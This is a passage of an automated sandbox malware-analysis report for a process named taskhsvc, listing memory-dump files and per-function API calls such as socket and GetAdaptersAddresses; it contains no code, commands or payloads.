Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 0032E7FD, Relevance: 1.5, APIs: 1, Instructions: 28

APIs

Part of subcall function 0032E618: GetAdaptersAddresses.IPHLPAPI ref: 0032E706
Part of subcall function 0032E618: free.MSVCRT ref: 0032E728
Part of subcall function 0032E618: free.MSVCRT ref: 0032E7DC
Part of subcall function 0032E618: __stack_chk_fail.LIBSSP-0 ref: 0032E7F6

__stack_chk_fail.LIBSSP-0 ref: 0032E852

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00319B0B, Relevance: 1.5, APIs: 1, Instructions: 28

APIs

Part of subcall function 0032107E: abort.MSVCRT ref: 003210D1
Part of subcall function 0032107E: malloc.MSVCRT ref: 003210E9
Part of subcall function 0032107E: exit.MSVCRT ref: 0032112A
Part of subcall function 0032107E: __stack_chk_fail.LIBSSP-0 ref: 0032113D

Part of subcall function 003211F6: abort.MSVCRT ref: 0032125C
Part of subcall function 003211F6: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00319B54), ref: 0032127B

__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,003145AC), ref: 00319B69

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00260A6B, Relevance: 1.5, APIs: 1, Instructions: 27

APIs

__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00268186), ref: 00260ABA

Memory Dump Source

Source File: 00000013.00000002.1855104216.00230000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001C5FA6, Relevance: 1.5, APIs: 1, Instructions: 27

APIs

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Part of subcall function 001C7086: event_new.LIBEVENT-2-0-5 ref: 001C7114
Part of subcall function 001C7086: event_add.LIBEVENT-2-0-5 ref: 001C714C
Part of subcall function 001C7086: event_new.LIBEVENT-2-0-5 ref: 001C71CC
Part of subcall function 001C7086: __stack_chk_fail.LIBSSP-0 ref: 001C7211

Part of subcall function 002581BD: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,001C6001), ref: 002581E5

__stack_chk_fail.LIBSSP-0 ref: 001C63EC

Memory Dump Source

Source File: 00000013.00000002.1855013399.001C1000.00000020.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00316F50, Relevance: 1.5, APIs: 1, Instructions: 27

APIs

Part of subcall function 00316FAD: socket.WS2_32 ref: 0031701F
Part of subcall function 00316FAD: __stack_chk_fail.LIBSSP-0 ref: 00317080

__stack_chk_fail.LIBSSP-0 ref: 00316FA6

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001DC72F, Relevance: 1.5, APIs: 1, Instructions: 27

APIs

__stack_chk_fail.LIBSSP-0 ref: 001DC77E

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 002BF9A6, Relevance: 1.5, APIs: 1, Instructions: 25

APIs

Part of subcall function 002BF9F0: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,002BF9BB), ref: 002BFA9D

__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,002C18A7), ref: 002BF9E9

Part of subcall function 002C0435: free.MSVCRT ref: 002C059D
Part of subcall function 002C0435: __stack_chk_fail.LIBSSP-0 ref: 002C05F7

Memory Dump Source

Source File: 00000013.00000002.1855196147.00290000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001C48E8, Relevance: 1.5, APIs: 1, Instructions: 24

APIs

Part of subcall function 002A622F: __stack_chk_fail.LIBSSP-0 ref: 002A635C

Part of subcall function 002A6394: __stack_chk_fail.LIBSSP-0 ref: 002A6427

Part of subcall function 001C2D88: __stack_chk_fail.LIBSSP-0 ref: 001C2DFB

Part of subcall function 00274695: __stack_chk_fail.LIBSSP-0 ref: 00274746

Part of subcall function 0025B0C8: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,0025A37E,?,?,?,?,?,?,?,?,?,0025A412), ref: 0025B107

__stack_chk_fail.LIBSSP-0 ref: 001C4935

Part of subcall function 002A8ABB: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,002B3C20), ref: 002A8AF4

Memory Dump Source

Source File: 00000013.00000002.1855013399.001C1000.00000020.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
